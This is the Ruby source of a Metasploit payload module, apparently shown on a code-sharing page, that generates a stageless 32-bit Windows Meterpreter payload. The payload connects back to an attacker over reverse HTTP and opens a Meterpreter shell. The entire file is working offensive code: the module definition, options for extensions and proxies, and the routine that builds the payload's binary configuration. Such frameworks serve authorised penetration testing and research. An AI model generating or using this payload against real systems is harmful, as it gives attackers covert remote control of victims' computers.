Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 178780
10

11
  include Msf::Payload::TransportConfig
12
  include Msf::Payload::Windows
13
  include Msf::Payload::Single
14
  include Msf::Payload::Windows::MeterpreterLoader
15
  include Msf::Sessions::MeterpreterOptions
16

17
  def initialize(info = {})
18

19
    super(merge_info(info,
20
      'Name'        => 'Windows Meterpreter Shell, Reverse HTTP Inline',
21
      'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',
22
      'Author'      => [ 'OJ Reeves' ],
23
      'License'     => MSF_LICENSE,
24
      'Platform'    => 'win',
25
      'Arch'        => ARCH_X86,
26
      'Handler'     => Msf::Handler::ReverseHttp,
27
      'Session'     => Msf::Sessions::Meterpreter_x86_Win
28
      ))
29

30
    register_options([
31
      OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
32
      OptString.new('EXTINIT',    [false, 'Initialization strings for extensions'])
33
    ])
34

35
    register_advanced_options(
36
      Msf::Opt::http_header_options +
37
      Msf::Opt::http_proxy_options
38
    )
39
  end
40

41
  def generate(opts={})
42
    opts[:stageless] = true
43
    stage_meterpreter(opts) + generate_config(opts)
44
  end
45

46
  def generate_config(opts={})
47
    opts[:uuid] ||= generate_payload_uuid
48

49
    # create the configuration block
50
    config_opts = {
51
      arch:       opts[:uuid].arch,
52
      exitfunk:   datastore['EXITFUNC'],
53
      expiration: datastore['SessionExpirationTimeout'].to_i,
54
      uuid:       opts[:uuid],
55
      transports: [transport_config_reverse_http(opts)],
56
      extensions: (datastore['EXTENSIONS'] || '').split(','),
57
      ext_init:   (datastore['EXTINIT'] || ''),
58
      stageless:  true,
59
    }.merge(meterpreter_logging_config(opts))
60

61
    # create the configuration instance based off the parameters
62
    config = Rex::Payloads::Meterpreter::Config.new(config_opts)
63

64
    # return the binary version of it
65
    config.to_b
66
  end
67
end
68

69